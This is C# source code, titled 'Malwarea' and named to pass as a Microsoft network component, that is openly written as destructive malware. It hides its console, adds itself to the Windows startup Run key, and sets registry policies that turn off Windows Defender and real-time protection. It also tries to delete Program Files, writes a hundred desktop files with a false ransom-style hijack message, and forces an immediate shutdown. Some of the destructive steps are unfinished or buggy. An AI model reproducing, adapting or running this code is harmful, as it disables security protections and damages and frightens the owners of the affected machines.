Malwarea

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Threading;
using System.Windows.Forms;
using Microsoft.Win32;
using System.Diagnostics;
using System.Security.Principal;
using System.IO;

namespace Microsoft_Network_Brooker
{
    class Program
    {
        [DllImport("kernel32.dll")]
        static extern IntPtr GetConsoleWindow();

        [DllImport("user32.dll")]

        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
        public static string ApplacationName = Process.GetCurrentProcess().ProcessName;
        static string RWFileNames;
        static string WRFileNames;
       static string path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
        static string Username = Environment.UserName;
        static Random rnd = new Random();
        static void Main(string[] args)
        {
            const int SW_HIDE = 0;
            const int SW_SHOW = 5;
            var handle = GetConsoleWindow();
           ;
           ;
              ShowWindow(handle, SW_HIDE); // To hide
              CopyToStartup();
               Disable_windowsDefender();
            CreateFilesAndDestroy();
            /*
             *
                This part will destroy the computer
             */
             CMDcommands();
              shutdown();

        }
        static void Disable_windowsDefender()
        {
            Console.WriteLine("Attempting to disable windows defender...");
            try
            {
                Registry.LocalMachine.CreateSubKey(@"SOFTWARE\Policies\Microsoft\Windows Defender", RegistryKeyPermissionCheck.ReadWriteSubTree).SetValue("DisableAntiSpyware", "00000001", RegistryValueKind.DWord);
            }
            catch (Exception Error)
            {
                Console.WriteLine("Error| Error message: " + Error.Message);
            }


            Thread.Sleep(20);// i have to give it some time or else it wont let me and can throw errors
            Console.WriteLine("Attempting to disable other antivirus settings temparaly");// disable realtime protection etc
            try
            {
                Registry.LocalMachine.CreateSubKey(@"SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", RegistryKeyPermissionCheck.ReadWriteSubTree).SetValue("DisableBehaviorMonitoring", "00000001", RegistryValueKind.DWord);

                Registry.LocalMachine.CreateSubKey(@"SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", RegistryKeyPermissionCheck.ReadWriteSubTree).SetValue("DisableOnAccessProtection", "00000001", RegistryValueKind.DWord);

                Registry.LocalMachine.CreateSubKey(@"SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", RegistryKeyPermissionCheck.ReadWriteSubTree).SetValue("DisableScanOnRealtimeEnable", "00000001", RegistryValueKind.DWord);
            }
            catch (Exception Error1)
            {
                Console.WriteLine("ERROR | Error message: " + Error1.Message);

            }
        }
        static void CMDcommands()// will open a cmd silently and will try and delete system32 folder... LOL
        {
            try
            {
                Process cmd = new Process();
                cmd.StartInfo.FileName = "cmd.exe";
                cmd.StartInfo.RedirectStandardInput = true;
                cmd.StartInfo.RedirectStandardOutput = true;
                cmd.StartInfo.CreateNoWindow = true;
                cmd.StartInfo.UseShellExecute = false;
                cmd.Start();
                //-----------------//
                cmd.StandardInput.WriteLine(@"cacls C:\Windows\System32");///
                cmd.StandardInput.Flush();
                cmd.StandardInput.Close();
                cmd.WaitForExit();
                Console.WriteLine(cmd.StandardOutput.ReadToEnd());
                Thread.Sleep(8000);
            }
            catch
            {

            }
        }
        //-----------------//
        static void CreateFilesAndDestroy()// im still working on this part  but it will destroy random system files and it creates files on the desktop with a spooky message
        {
            try
            {
                System.IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles));
            }
            catch
            (IOException ex)
            {

            }
            int i = 0;
            while(i < 100)
            {
                try
                {
                    i++;
                    StreamWriter writer1 = new StreamWriter(path + @"\YOUR COMPUTER WILL GET DESTROYED" + rnd.Next(1000, 9999) + ".txt");
                    writer1.WriteLine("Hello " + Username + " We have hijacked your computer and all your files have been sent to a secure database that only we have access too the key to access the server is hiddent somewhere in your memory and will fisapear in 24 hours or next computer restart" + "  SSASH Key: " + rnd.Next(10000,999999));
                    //^^spooky message not really going to be uploaded to a database im not a loser

                    writer1.Close();
                    Console.WriteLine("New File created!");
                    Thread.Sleep(10);
                    }
                catch
                (Exception ex)
                {

                }


            }

        }
        static void shutdown() // this is at the end of the payload.. it will shutdown the computer, this is safe and can be done on any user level eg. user, admin etc
        {
            try
            {
                var psi = new ProcessStartInfo("shutdown", "/s /t 0");//starts the shutdown proccess
                psi.CreateNoWindow = true;
                psi.UseShellExecute = false;//this is what makes it safe it will
                Process.Start(psi);
            }
            catch { }
            }
       static void CopyToStartup()
        {
            try
            {
                RegistryKey registryKey = Registry.CurrentUser.OpenSubKey
                ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                registryKey.SetValue(ApplacationName, Application.ExecutablePath);
            }
            catch(Exception)
            {

            }
        }
        public bool IsStartupItem()
        {
            // The path to the key where Windows looks for startup applications
            RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

            if (rkApp.GetValue(ApplacationName) == null)
            {
                // The value doesn't exist, the application is not set to run at startup
                CopyToStartup();
                return false;

            }
            else
            {
                // The value exists, the application is set to run at startup
                return true;
            }
        }
    }
}